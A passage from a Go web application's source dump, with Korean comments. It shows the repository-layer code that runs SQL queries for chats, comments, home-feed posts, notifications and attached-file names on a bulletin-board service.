:= fmt.Sprintf(`SELECT MAX(c.uid) AS latest_uid, c.from_uid, MAX(c.message) AS latest_message, 47 | MAX(c.timestamp) AS latest_timestamp, u.name, u.profile 48 | FROM %s%s AS c JOIN %suser AS u ON c.from_uid = u.uid WHERE c.to_uid = ? 49 | GROUP BY c.from_uid ORDER BY latest_uid DESC LIMIT ?`, 50 | configs.Env.Prefix, models.TABLE_CHAT, configs.Env.Prefix) 51 | 52 | rows, err := r.db.Query(query, userUid, limit) 53 | if err != nil { 54 | return nil, err 55 | } 56 | defer rows.Close() 57 | 58 | chatItems := make([]models.ChatItem, 0) 59 | for rows.Next() { 60 | item := models.ChatItem{} 61 | err = rows.Scan(&item.Uid, &item.Sender.UserUid, &item.Message, &item.Timestamp, &item.Sender.Name, &item.Sender.Profile) 62 | if err != nil { 63 | return nil, err 64 | } 65 | chatItems = append(chatItems, item) 66 | } 67 | 68 | return chatItems, nil 69 | } 70 | 71 | // 상대방과의 대화 내용 가져오기 72 | func (r *TsboardChatRepository) LoadChatHistory(actionUserUid uint, targetUserUid uint, limit uint) ([]models.ChatHistory, error) { 73 | query := fmt.Sprintf(`SELECT uid, from_uid, message, timestamp FROM %s%s 74 | WHERE to_uid IN (?, ?) AND from_uid IN (?, ?) 75 | ORDER BY uid DESC LIMIT ?`, configs.Env.Prefix, models.TABLE_CHAT) 76 | 77 | rows, err := r.db.Query(query, actionUserUid, targetUserUid, actionUserUid, targetUserUid, limit) 78 | if err != nil { 79 | return nil, err 80 | } 81 | defer rows.Close() 82 | 83 | chatHistories := make([]models.ChatHistory, 0) 84 | for rows.Next() { 85 | history := models.ChatHistory{} 86 | if err := rows.Scan(&history.Uid, &history.UserUid, &history.Message, &history.Timestamp); err != nil { 87 | return nil, err 88 | } 89 | chatHistories = append(chatHistories, history) 90 | } 91 | 92 | return chatHistories, nil 93 | } 94 | -------------------------------------------------------------------------------- /internal/repositories/comment_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | type CommentRepository interface { 13 | FindPostUserUidByUid(commentUid uint) (uint, uint) 14 | GetComments(param models.CommentListParameter) ([]models.CommentItem, error) 15 | GetLikedCountForLoop(stmt *sql.Stmt, commentUid uint) uint 16 | GetLikedCount(commentUid uint) uint 17 | GetPostStatus(postUid uint) models.Status 18 | GetPostWriterUid(postUid uint) uint 19 | GetMaxUid() uint 20 | HasReplyComment(commentUid uint) bool 21 | IsLikedComment(commentUid uint, userUid uint) bool 22 | InsertComment(param models.CommentWriteParameter) (uint, error) 23 | InsertLikeComment(param models.CommentLikeParameter) 24 | RemoveComment(commentUid uint) error 25 | UpdateComment(commentUid uint, content string) 26 | UpdateLikeComment(param models.CommentLikeParameter) 27 | UpdateReplyUid(commentUid uint, replyUid uint) 28 | } 29 | 30 | type TsboardCommentRepository struct { 31 | db *sql.DB 32 | board BoardRepository 33 | } 34 | 35 | // sql.DB, board 포인터 주입받기 36 | func NewTsboardCommentRepository(db *sql.DB, board BoardRepository) *TsboardCommentRepository { 37 | return &TsboardCommentRepository{db: db, board: board} 38 | } 39 | 40 | // 댓글 고유 번호로 댓글 작성자의 고유 번호 반환하기 41 | func (r *TsboardCommentRepository) FindPostUserUidByUid(commentUid uint) (uint, uint) { 42 | var postUid, userUid uint 43 | query := fmt.Sprintf("SELECT post_uid, user_uid FROM %s%s WHERE uid = ? LIMIT 1", 44 | configs.Env.Prefix, models.TABLE_COMMENT) 45 | 46 | r.db.QueryRow(query, commentUid).Scan(&postUid, &userUid) 47 | return postUid, userUid 48 | } 49 | 50 | // 댓글들 가져오기 51 | func (r *TsboardCommentRepository) GetComments(param models.CommentListParameter) ([]models.CommentItem, error) { 52 | arrow, _ := param.Direction.Query() 53 | query := fmt.Sprintf(`SELECT uid, reply_uid, user_uid, content, submitted, modified, status 54 | FROM %s%s WHERE post_uid = ? AND status != ? AND uid %s ? 55 | ORDER BY reply_uid ASC, uid ASC LIMIT ?`, configs.Env.Prefix, models.TABLE_COMMENT, arrow) 56 | 57 | rows, err := r.db.Query(query, param.PostUid, models.CONTENT_REMOVED, param.SinceUid, param.Bunch) 58 | if err != nil { 59 | return nil, err 60 | } 61 | defer rows.Close() 62 | 63 | // 게시글 작성자 정보 가져오는 쿼리문 준비 64 | query = fmt.Sprintf("SELECT name, profile, signature FROM %s%s WHERE uid = ? LIMIT 1", 65 | configs.Env.Prefix, models.TABLE_USER) 66 | stmtWriter, err := r.db.Prepare(query) 67 | if err != nil { 68 | return nil, err 69 | } 70 | defer stmtWriter.Close() 71 | 72 | // 댓글에 대한 좋아요 수 반환하는 쿼리문 준비 73 | query = fmt.Sprintf("SELECT COUNT(*) FROM %s%s WHERE comment_uid = ? AND liked = ?", 74 | configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 75 | stmtLikedCount, err := r.db.Prepare(query) 76 | if err != nil { 77 | return nil, err 78 | } 79 | defer stmtLikedCount.Close() 80 | 81 | // 댓글에 좋아요를 클릭했는지 확인하는 쿼리문 준비 82 | query = fmt.Sprintf("SELECT liked FROM %s%s WHERE comment_uid = ? AND user_uid = ? AND liked = ? LIMIT 1", 83 | configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 84 | stmtLiked, err := r.db.Prepare(query) 85 | if err != nil { 86 | return nil, err 87 | } 88 | defer stmtLiked.Close() 89 | 90 | items := make([]models.CommentItem, 0) 91 | for rows.Next() { 92 | item := models.CommentItem{} 93 | err = rows.Scan(&item.Uid, &item.ReplyUid, &item.Writer.UserUid, &item.Content, &item.Submitted, &item.Modified, &item.Status) 94 | if err != nil { 95 | return nil, err 96 | } 97 | item.PostUid = param.PostUid 98 | item.Writer = r.board.GetWriterInfoForLoop(stmtWriter, item.Writer.UserUid) 99 | item.Like = r.GetLikedCountForLoop(stmtLikedCount, item.Uid) 100 | item.Liked = r.board.CheckLikedCommentForLoop(stmtLiked, item.Uid, param.UserUid) 101 | items = append(items, item) 102 | } 103 | return items, nil 104 | } 105 | 106 | // 반복문에서 사용하는 댓글에 대한 좋아요 수 반환 107 | func (r *TsboardCommentRepository) GetLikedCountForLoop(stmt *sql.Stmt, commentUid uint) uint { 108 | var count uint 109 | stmt.QueryRow(commentUid, 1).Scan(&count) 110 | return count 111 | } 112 | 113 | // 댓글에 대한 좋아요 수 반환 114 | func (r *TsboardCommentRepository) GetLikedCount(commentUid uint) uint { 115 | query := fmt.Sprintf("SELECT COUNT(*) FROM %s%s WHERE comment_uid = ? AND liked = ?", 116 | configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 117 | 118 | var count uint 119 | r.db.QueryRow(query, commentUid, 1).Scan(&count) 120 | return count 121 | } 122 | 123 | // 게시글 상태 가져오기 124 | func (r *TsboardCommentRepository) GetPostStatus(postUid uint) models.Status { 125 | var status int8 126 | query := fmt.Sprintf("SELECT status FROM %s%s WHERE uid = ? LIMIT 1", 127 | configs.Env.Prefix, models.TABLE_POST) 128 | 129 | r.db.QueryRow(query, postUid).Scan(&status) 130 | return models.Status(status) 131 | } 132 | 133 | // 게시글 작성자의 고유 번호 반환하기 134 | func (r *TsboardCommentRepository) GetPostWriterUid(postUid uint) uint { 135 | var userUid uint 136 | query := fmt.Sprintf("SELECT user_uid FROM %s%s WHERE uid = ? LIMIT 1", 137 | configs.Env.Prefix, models.TABLE_POST) 138 | 139 | r.db.QueryRow(query, postUid).Scan(&userUid) 140 | return userUid 141 | } 142 | 143 | // 가장 마지막 댓글 고유 번호 가져오기 144 | func (r *TsboardCommentRepository) GetMaxUid() uint { 145 | var uid uint 146 | query := fmt.Sprintf("SELECT MAX(uid) FROM %s%s", configs.Env.Prefix, models.TABLE_COMMENT) 147 | r.db.QueryRow(query).Scan(&uid) 148 | return uid 149 | } 150 | 151 | // 이 댓글에 답글이 하나라도 있는지 확인하기 152 | func (r *TsboardCommentRepository) HasReplyComment(commentUid uint) bool { 153 | var replyUid uint 154 | query := fmt.Sprintf("SELECT reply_uid FROM %s%s WHERE uid = ? LIMIT 1", 155 | configs.Env.Prefix, models.TABLE_COMMENT) 156 | 157 | r.db.QueryRow(query, commentUid).Scan(&replyUid) 158 | if replyUid != commentUid { 159 | return false 160 | } 161 | 162 | var uid uint 163 | query = fmt.Sprintf("SELECT uid FROM %s%s WHERE reply_uid = ? AND uid != ? LIMIT 1", 164 | configs.Env.Prefix, models.TABLE_COMMENT) 165 | 166 | r.db.QueryRow(query, commentUid, commentUid).Scan(&uid) 167 | return uid > 0 168 | } 169 | 170 | // 이미 이 댓글에 좋아요를 클릭한 적이 있는지 확인하기 171 | func (r *TsboardCommentRepository) IsLikedComment(commentUid uint, userUid uint) bool { 172 | var uid uint 173 | query := fmt.Sprintf("SELECT comment_uid FROM %s%s WHERE comment_uid = ? AND user_uid = ? LIMIT 1", 174 | configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 175 | 176 | r.db.QueryRow(query, commentUid, userUid).Scan(&uid) 177 | return uid > 0 178 | } 179 | 180 | // 새로운 댓글 작성하기 181 | func (r *TsboardCommentRepository) InsertComment(param models.CommentWriteParameter) (uint, error) { 182 | query := fmt.Sprintf(`INSERT INTO %s%s 183 | (reply_uid, board_uid, post_uid, user_uid, content, submitted, modified, status) 184 | VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, configs.Env.Prefix, models.TABLE_COMMENT) 185 | 186 | result, err := r.db.Exec( 187 | query, 188 | 0, 189 | param.BoardUid, 190 | param.PostUid, 191 | param.UserUid, 192 | param.Content, 193 | time.Now().UnixMilli(), 194 | 0, 195 | models.CONTENT_NORMAL, 196 | ) 197 | if err != nil { 198 | return models.FAILED, err 199 | } 200 | insertId, _ := result.LastInsertId() 201 | return uint(insertId), nil 202 | } 203 | 204 | // 이 댓글에 대한 좋아요 추가하기 205 | func (r *TsboardCommentRepository) InsertLikeComment(param models.CommentLikeParameter) { 206 | query := fmt.Sprintf(`INSERT INTO %s%s (board_uid, comment_uid, user_uid, liked, timestamp) 207 | VALUES (?, ?, ?, ?, ?)`, configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 208 | 209 | r.db.Exec(query, param.BoardUid, param.CommentUid, param.UserUid, param.Liked, time.Now().UnixMilli()) 210 | } 211 | 212 | // 댓글을 삭제 상태로 변경하기 213 | func (r *TsboardCommentRepository) RemoveComment(commentUid uint) error { 214 | query := fmt.Sprintf("UPDATE %s%s SET status = ? WHERE uid = ? LIMIT 1", 215 | configs.Env.Prefix, models.TABLE_COMMENT) 216 | _, err := r.db.Exec(query, models.CONTENT_REMOVED, commentUid) 217 | return err 218 | } 219 | 220 | // 기존 댓글 수정하기 221 | func (r *TsboardCommentRepository) UpdateComment(commentUid uint, content string) { 222 | query := fmt.Sprintf("UPDATE %s%s SET content = ?, modified = ? WHERE uid = ? LIMIT 1", 223 | configs.Env.Prefix, models.TABLE_COMMENT) 224 | 225 | r.db.Exec(query, content, time.Now().UnixMilli(), commentUid) 226 | } 227 | 228 | // 이 댓글에 대한 좋아요 변경하기 229 | func (r *TsboardCommentRepository) UpdateLikeComment(param models.CommentLikeParameter) { 230 | query := fmt.Sprintf("UPDATE %s%s SET liked = ?, timestamp = ? WHERE comment_uid = ? AND user_uid = ? LIMIT 1", 231 | configs.Env.Prefix, models.TABLE_COMMENT_LIKE) 232 | 233 | r.db.Exec(query, param.Liked, time.Now().UnixMilli(), param.CommentUid, param.UserUid) 234 | } 235 | 236 | // 답글 고유 번호 업데이트 237 | func (r *TsboardCommentRepository) UpdateReplyUid(commentUid uint, replyUid uint) { 238 | query := fmt.Sprintf("UPDATE %s%s SET reply_uid = ? WHERE uid = ? LIMIT 1", 239 | configs.Env.Prefix, models.TABLE_COMMENT) 240 | 241 | r.db.Exec(query, replyUid, commentUid) 242 | } 243 | -------------------------------------------------------------------------------- /internal/repositories/home_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | type HomeRepository interface { 13 | AppendItem(rows *sql.Rows) ([]models.HomePostItem, error) 14 | FindLatestPostsByImageDescription(param models.HomePostParameter) ([]models.HomePostItem, error) 15 | FindLatestPostsByTitleContent(param models.HomePostParameter) ([]models.HomePostItem, error) 16 | FindLatestPostsByUserUidCatUid(param models.HomePostParameter) ([]models.HomePostItem, error) 17 | FindLatestPostsByTag(param models.HomePostParameter) ([]models.HomePostItem, error) 18 | GetBoardBasicSettings(boardUid uint) models.BoardBasicSettingResult 19 | GetBoardIDs() []string 20 | GetBoardLinks(stmt *sql.Stmt, groupUid uint) ([]models.HomeSidebarBoardResult, error) 21 | GetGroupBoardLinks() ([]models.HomeSidebarGroupResult, error) 22 | GetLatestPosts(param models.HomePostParameter) ([]models.HomePostItem, error) 23 | InsertVisitorLog(userUid uint) 24 | } 25 | 26 | type TsboardHomeRepository struct { 27 | db *sql.DB 28 | board BoardRepository 29 | } 30 | 31 | // sql.DB, boardRepo 포인터 주입받기 32 | func NewTsboardHomeRepository(db *sql.DB, board BoardRepository) *TsboardHomeRepository { 33 | return &TsboardHomeRepository{ 34 | db: db, 35 | board: board, 36 | } 37 | } 38 | 39 | // 홈화면에 보여줄 게시글 레코드들을 패킹해서 반환 40 | func (r *TsboardHomeRepository) AppendItem(rows *sql.Rows) ([]models.HomePostItem, error) { 41 | items := make([]models.HomePostItem, 0) 42 | for rows.Next() { 43 | item := models.HomePostItem{} 44 | err := rows.Scan(&item.Uid, &item.BoardUid, &item.UserUid, &item.CategoryUid, 45 | &item.Title, &item.Content, &item.Submitted, &item.Modified, &item.Hit, &item.Status) 46 | if err != nil { 47 | return nil, err 48 | } 49 | items = append(items, item) 50 | } 51 | 52 | if err := rows.Err(); err != nil { 53 | return nil, err 54 | } 55 | return items, nil 56 | } 57 | 58 | // 홈화면에서 게시글에 첨부된 이미지에 대한 AI 분석 내용으로 검색해서 가져오기 59 | func (r *TsboardHomeRepository) FindLatestPostsByImageDescription(param models.HomePostParameter) ([]models.HomePostItem, error) { 60 | whereBoard := "" 61 | if param.BoardUid > 0 { 62 | whereBoard = fmt.Sprintf("AND board_uid = %d", param.BoardUid) 63 | } 64 | option := param.Option.String() 65 | keyword := "%" + param.Keyword + "%" 66 | query := fmt.Sprintf(`SELECT p.uid, p.board_uid, p.user_uid, p.category_uid, p.title, p.content, p.submitted, p.modified, p.hit, p.status 67 | FROM %s%s p JOIN %s%s d ON p.uid = d.post_uid 68 | WHERE p.uid < ? AND p.status = ? %s AND d.%s LIKE ? 69 | GROUP BY p.uid ORDER BY p.uid DESC LIMIT ?`, 70 | configs.Env.Prefix, models.TABLE_POST, configs.Env.Prefix, models.TABLE_IMAGE_DESC, whereBoard, option) 71 | 72 | rows, err := r.db.Query(query, param.SinceUid, models.CONTENT_NORMAL, keyword, param.Bunch) 73 | if err != nil { 74 | return nil, err 75 | } 76 | 77 | defer rows.Close() 78 | return r.AppendItem(rows) 79 | } 80 | 81 | // 홈화면에서 게시글 제목 혹은 내용 일부를 검색해서 가져오기 82 | func (r *TsboardHomeRepository) FindLatestPostsByTitleContent(param models.HomePostParameter) ([]models.HomePostItem, error) { 83 | whereBoard := "" 84 | if param.BoardUid > 0 { 85 | whereBoard = fmt.Sprintf("AND board_uid = %d", param.BoardUid) 86 | } 87 | option := param.Option.String() 88 | keyword := "%" + param.Keyword + "%" 89 | query := fmt.Sprintf(`SELECT uid, board_uid, user_uid, category_uid, title, content, submitted, modified, hit, status 90 | FROM %s%s WHERE uid < ? AND status = ? %s AND %s LIKE ? 91 | ORDER BY uid DESC LIMIT ?`, 92 | configs.Env.Prefix, models.TABLE_POST, whereBoard, option) 93 | 94 | rows, err := r.db.Query(query, param.SinceUid, models.CONTENT_NORMAL, keyword, param.Bunch) 95 | if err != nil { 96 | return nil, err 97 | } 98 | 99 | defer rows.Close() 100 | return r.AppendItem(rows) 101 | } 102 | 103 | // 홈화면에서 사용자 고유 번호 혹은 게시글 카테고리 번호로 검색해서 가져오기 104 | func (r *TsboardHomeRepository) FindLatestPostsByUserUidCatUid(param models.HomePostParameter) ([]models.HomePostItem, error) { 105 | whereBoard := "" 106 | if param.BoardUid > 0 { 107 | whereBoard = fmt.Sprintf("AND board_uid = %d", param.BoardUid) 108 | } 109 | option := param.Option.String() 110 | table := models.TABLE_USER 111 | if param.Option == models.SEARCH_CATEGORY { 112 | table = models.TABLE_BOARD_CAT 113 | } 114 | uid := r.board.GetUidByTable(table, param.Keyword) 115 | query := fmt.Sprintf(`SELECT uid, board_uid, user_uid, category_uid, title, content, submitted, modified, hit, status 116 | FROM %s%s WHERE uid < ? AND status = ? %s AND %s = ? 117 | ORDER BY uid DESC LIMIT ?`, 118 | configs.Env.Prefix, models.TABLE_POST, whereBoard, option) 119 | 120 | rows, err := r.db.Query(query, param.SinceUid, models.CONTENT_NORMAL, uid, param.Bunch) 121 | if err != nil { 122 | return nil, err 123 | } 124 | defer rows.Close() 125 | return r.AppendItem(rows) 126 | } 127 | 128 | // 홈화면에서 태그 이름에 해당하는 최근 게시글들만 가져오기 129 | func (r *TsboardHomeRepository) FindLatestPostsByTag(param models.HomePostParameter) ([]models.HomePostItem, error) { 130 | whereBoard := "" 131 | if param.BoardUid > 0 { 132 | whereBoard = fmt.Sprintf("AND p.board_uid = %d", param.BoardUid) 133 | } 134 | tagUidStr, tagCount := r.board.GetTagUids(param.Keyword) 135 | query := fmt.Sprintf(`SELECT p.uid, p.board_uid, p.user_uid, p.category_uid, 136 | p.title, p.content, p.submitted, p.modified, p.hit, p.status 137 | FROM %s%s AS p JOIN %s%s AS ph ON p.uid = ph.post_uid 138 | WHERE p.status = ? %s AND uid < ? AND ph.hashtag_uid IN (%s) 139 | GROUP BY ph.post_uid HAVING (COUNT(ph.hashtag_uid) = ?) 140 | ORDER BY p.uid DESC LIMIT ?`, 141 | configs.Env.Prefix, models.TABLE_POST, configs.Env.Prefix, models.TABLE_POST_HASHTAG, whereBoard, tagUidStr) 142 | 143 | rows, err := r.db.Query(query, models.CONTENT_NORMAL, param.SinceUid, tagCount, param.Bunch) 144 | if err != nil { 145 | return nil, err 146 | } 147 | defer rows.Close() 148 | return r.AppendItem(rows) 149 | } 150 | 151 | // 게시판 기본 설정값 가져오기 152 | func (r *TsboardHomeRepository) GetBoardBasicSettings(boardUid uint) models.BoardBasicSettingResult { 153 | var useCategory uint 154 | settings := models.BoardBasicSettingResult{} 155 | 156 | query := fmt.Sprintf("SELECT id, type, use_category FROM %s%s WHERE uid = ? LIMIT 1", 157 | configs.Env.Prefix, models.TABLE_BOARD) 158 | 159 | r.db.QueryRow(query, boardUid).Scan(&settings.Id, &settings.Type, &useCategory) 160 | settings.UseCategory = useCategory > 0 161 | return settings 162 | } 163 | 164 | // 전체 게시판들의 ID만 가져오기 165 | func (r *TsboardHomeRepository) GetBoardIDs() []string { 166 | var result []string 167 | query := fmt.Sprintf("SELECT id FROM %s%s", configs.Env.Prefix, models.TABLE_BOARD) 168 | 169 | rows, err := r.db.Query(query) 170 | if err != nil { 171 | return nil 172 | } 173 | defer rows.Close() 174 | 175 | for rows.Next() { 176 | var id string 177 | rows.Scan(&id) 178 | result = append(result, id) 179 | } 180 | return result 181 | } 182 | 183 | // 홈화면에서 게시판 목록들 가져오기 184 | func (r *TsboardHomeRepository) GetBoardLinks(stmt *sql.Stmt, groupUid uint) ([]models.HomeSidebarBoardResult, error) { 185 | boards := make([]models.HomeSidebarBoardResult, 0) 186 | rows, err := stmt.Query(groupUid) 187 | if err != nil { 188 | return nil, err 189 | } 190 | defer rows.Close() 191 | 192 | for rows.Next() { 193 | board := models.HomeSidebarBoardResult{} 194 | if err := rows.Scan(&board.Id, &board.Type, &board.Name, &board.Info); err != nil { 195 | return nil, err 196 | } 197 | boards = append(boards, board) 198 | } 199 | if err = rows.Err(); err != nil { 200 | return nil, err 201 | } 202 | return boards, nil 203 | } 204 | 205 | // 홈화면 사이드바에 사용할 그룹 및 하위 게시판 목록들 가져오기 206 | func (r *TsboardHomeRepository) GetGroupBoardLinks() ([]models.HomeSidebarGroupResult, error) { 207 | groups := make([]models.HomeSidebarGroupResult, 0) 208 | query := fmt.Sprintf("SELECT uid, id FROM %s%s", configs.Env.Prefix, models.TABLE_GROUP) 209 | 210 | rows, err := r.db.Query(query) 211 | if err != nil { 212 | return nil, err 213 | } 214 | defer rows.Close() 215 | 216 | // 게시판 링크들을 가져오는 쿼리문 준비 217 | query = fmt.Sprintf("SELECT id, type, name, info FROM %s%s WHERE group_uid = ?", 218 | configs.Env.Prefix, models.TABLE_BOARD) 219 | stmtBoard, err := r.db.Prepare(query) 220 | if err != nil { 221 | return nil, err 222 | } 223 | defer stmtBoard.Close() 224 | 225 | for rows.Next() { 226 | var groupUid uint 227 | var groupId string 228 | if err := rows.Scan(&groupUid, &groupId); err != nil { 229 | return nil, err 230 | } 231 | boards, err := r.GetBoardLinks(stmtBoard, groupUid) 232 | if err != nil { 233 | return nil, err 234 | } 235 | 236 | group := models.HomeSidebarGroupResult{} 237 | group.Group = groupId 238 | group.Boards = boards 239 | groups = append(groups, group) 240 | } 241 | return groups, nil 242 | } 243 | 244 | // 홈화면 최근 게시글들 가져오기 245 | func (r *TsboardHomeRepository) GetLatestPosts(param models.HomePostParameter) ([]models.HomePostItem, error) { 246 | whereBoard := "" 247 | if param.BoardUid > 0 { 248 | whereBoard = fmt.Sprintf("AND board_uid = %d", param.BoardUid) 249 | } 250 | query := fmt.Sprintf(`SELECT uid, board_uid, user_uid, category_uid, 251 | title, content, submitted, modified, hit, status 252 | FROM %s%s WHERE status = ? %s AND uid < ? 253 | ORDER BY uid DESC LIMIT ?`, 254 | configs.Env.Prefix, models.TABLE_POST, whereBoard) 255 | 256 | rows, err := r.db.Query(query, models.CONTENT_NORMAL, param.SinceUid, param.Bunch) 257 | if err != nil { 258 | return nil, err 259 | } 260 | defer rows.Close() 261 | return r.AppendItem(rows) 262 | } 263 | 264 | // 방문자 기록하기 265 | func (r *TsboardHomeRepository) InsertVisitorLog(userUid uint) { 266 | query := fmt.Sprintf("INSERT INTO %s%s (user_uid, timestamp) VALUES (?, ?)", 267 | configs.Env.Prefix, models.TABLE_USER_ACCESS) 268 | 269 | r.db.Exec(query, userUid, time.Now().UnixMilli()) 270 | } 271 | -------------------------------------------------------------------------------- /internal/repositories/noti_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | type NotiRepository interface { 13 | FindBoardIdTypeByUid(boardUid uint) (string, models.Board) 14 | FindBoardUidByPostUid(postUid uint) uint 15 | FindNotificationByUserUid(userUid uint, limit uint) ([]models.NotificationItem, error) 16 | FindUserNameProfileByUid(userUid uint) (string, string) 17 | InsertNotification(param models.InsertNotificationParameter) 18 | IsNotiAdded(param models.InsertNotificationParameter) bool 19 | UpdateAllChecked(userUid uint) 20 | UpdateChecked(notiUid uint) 21 | } 22 | 23 | type TsboardNotiRepository struct { 24 | db *sql.DB 25 | } 26 | 27 | // sql.DB 포인터 주입받기 28 | func NewTsboardNotiRepository(db *sql.DB) *TsboardNotiRepository { 29 | return &TsboardNotiRepository{db: db} 30 | } 31 | 32 | // 게시판 아이디, 타입 가져오기 33 | func (r *TsboardNotiRepository) FindBoardIdTypeByUid(boardUid uint) (string, models.Board) { 34 | var id string 35 | var boardType models.Board 36 | query := fmt.Sprintf("SELECT id, type FROM %s%s WHERE uid = ? LIMIT 1", configs.Env.Prefix, models.TABLE_BOARD) 37 | r.db.QueryRow(query, boardUid).Scan(&id, &boardType) 38 | return id, boardType 39 | } 40 | 41 | // 게시판 고유 번호 가져오기 42 | func (r *TsboardNotiRepository) FindBoardUidByPostUid(postUid uint) uint { 43 | var boardUid uint 44 | query := fmt.Sprintf("SELECT board_uid FROM %s%s WHERE uid = ? LIMIT 1", 45 | configs.Env.Prefix, models.TABLE_POST) 46 | r.db.QueryRow(query, postUid).Scan(&boardUid) 47 | return boardUid 48 | } 49 | 50 | // 나에게 온 알림들 가져오기 51 | func (r *TsboardNotiRepository) FindNotificationByUserUid(userUid uint, limit uint) ([]models.NotificationItem, error) { 52 | query := fmt.Sprintf(`SELECT uid, from_uid, type, post_uid, checked, timestamp 53 | FROM %s%s WHERE to_uid = ? ORDER BY uid DESC LIMIT ?`, 54 | configs.Env.Prefix, models.TABLE_NOTI) 55 | 56 | rows, err := r.db.Query(query, userUid, limit) 57 | if err != nil { 58 | return nil, err 59 | } 60 | defer rows.Close() 61 | 62 | items := make([]models.NotificationItem, 0) 63 | for rows.Next() { 64 | item := models.NotificationItem{} 65 | var checked uint8 66 | err = rows.Scan(&item.Uid, &item.FromUser.UserUid, &item.Type, &item.PostUid, &checked, &item.Timestamp) 67 | if err != nil { 68 | return nil, err 69 | } 70 | item.Checked = checked > 0 71 | 72 | boardUid := r.FindBoardUidByPostUid(item.PostUid) 73 | if boardUid > 0 { 74 | item.Id, item.BoardType = r.FindBoardIdTypeByUid(boardUid) 75 | } 76 | item.FromUser.Name, item.FromUser.Profile = r.FindUserNameProfileByUid(item.FromUser.UserUid) 77 | items = append(items, item) 78 | } 79 | return items, nil 80 | } 81 | 82 | // 사용자 이름, 프로필 이미지 경로 반환하기 83 | func (r *TsboardNotiRepository) FindUserNameProfileByUid(userUid uint) (string, string) { 84 | var name, profile string 85 | query := fmt.Sprintf("SELECT name, profile FROM %s%s WHERE uid = ? LIMIT 1", configs.Env.Prefix, models.TABLE_USER) 86 | r.db.QueryRow(query, userUid).Scan(&name, &profile) 87 | return name, profile 88 | } 89 | 90 | // 새 알림 추가하기 91 | func (r *TsboardNotiRepository) InsertNotification(param models.InsertNotificationParameter) { 92 | query := fmt.Sprintf(`INSERT INTO %s%s 93 | (to_uid, from_uid, type, post_uid, comment_uid, checked, timestamp) 94 | VALUES (?, ?, ?, ?, ?, ?, ?)`, configs.Env.Prefix, models.TABLE_NOTI) 95 | 96 | r.db.Exec(query, param.TargetUserUid, param.ActionUserUid, param.NotiType, param.PostUid, param.CommentUid, 0, time.Now().UnixMilli()) 97 | } 98 | 99 | // 중복 알림인지 확인 100 | func (r *TsboardNotiRepository) IsNotiAdded(param models.InsertNotificationParameter) bool { 101 | query := fmt.Sprintf(`SELECT uid FROM %s%s WHERE to_uid = ? AND from_uid = ? 102 | AND type = ? AND post_uid = ? LIMIT 1`, configs.Env.Prefix, models.TABLE_NOTI) 103 | 104 | var uid uint 105 | r.db.QueryRow(query, param.TargetUserUid, param.ActionUserUid, param.NotiType, param.PostUid).Scan(&uid) 106 | return uid > 0 107 | } 108 | 109 | // 모든 알람 확인하기 110 | func (r *TsboardNotiRepository) UpdateAllChecked(userUid uint) { 111 | query := fmt.Sprintf("UPDATE %s%s SET checked = ? WHERE to_uid = ?", 112 | configs.Env.Prefix, models.TABLE_NOTI) 113 | 114 | r.db.Exec(query, 1, userUid) 115 | } 116 | 117 | // 하나의 알림만 확인 처리하기 118 | func (r *TsboardNotiRepository) UpdateChecked(notiUid uint) { 119 | query := fmt.Sprintf("UPDATE %s%s SET checked = ? WHERE uid = ? LIMIT 1", configs.Env.Prefix, models.TABLE_NOTI) 120 | r.db.Exec(query, 1, notiUid) 121 | } 122 | -------------------------------------------------------------------------------- /internal/repositories/repository.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import "database/sql" 4 | 5 | // 모든 리포지토리들을 관리 6 | type Repository struct { 7 | Admin AdminRepository 8 | Auth AuthRepository 9 | Board BoardRepository 10 | BoardEdit BoardEditRepository 11 | BoardView BoardViewRepository 12 | Chat ChatRepository 13 | Comment CommentRepository 14 | Home HomeRepository 15 | Noti NotiRepository 16 | Sync SyncRepository 17 | Trade TradeRepository 18 | User UserRepository 19 | } 20 | 21 | // 모든 리포지토리를 생성 22 | func NewRepository(db *sql.DB) *Repository { 23 | board := NewTsboardBoardRepository(db) 24 | return &Repository{ 25 | Admin: NewTsboardAdminRepository(db), 26 | Auth: NewTsboardAuthRepository(db), 27 | Board: board, 28 | BoardEdit: NewTsboardBoardEditRepository(db, board), 29 | BoardView: NewTsboardBoardViewRepository(db, board), 30 | Chat: NewTsboardChatRepository(db), 31 | Comment: NewTsboardCommentRepository(db, board), 32 | Home: NewTsboardHomeRepository(db, board), 33 | Noti: NewTsboardNotiRepository(db), 34 | Sync: NewTsboardSyncRepository(db), 35 | Trade: NewTsboardTradeRepository(db), 36 | User: NewTsboardUserRepository(db), 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /internal/repositories/sync_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | 7 | "github.com/validpublic/goapi/internal/configs" 8 | "github.com/validpublic/goapi/pkg/models" 9 | ) 10 | 11 | type SyncRepository interface { 12 | GetFileName(fileUid uint) string 13 | } 14 | 15 | type TsboardSyncRepository struct { 16 | db *sql.DB 17 | } 18 | 19 | // sql.DB 포인터 주입받기 20 | func NewTsboardSyncRepository(db *sql.DB) *TsboardSyncRepository { 21 | return &TsboardSyncRepository{db: db} 22 | } 23 | 24 | // 첨부 파일의 원래 파일명 가져오기 25 | func (r *TsboardSyncRepository) GetFileName(fileUid uint) string { 26 | var name string 27 | query := fmt.Sprintf("SELECT name FROM %s%s WHERE uid = ? LIMIT 1", configs.Env.Prefix, models.TABLE_FILE) 28 | r.db.QueryRow(query, 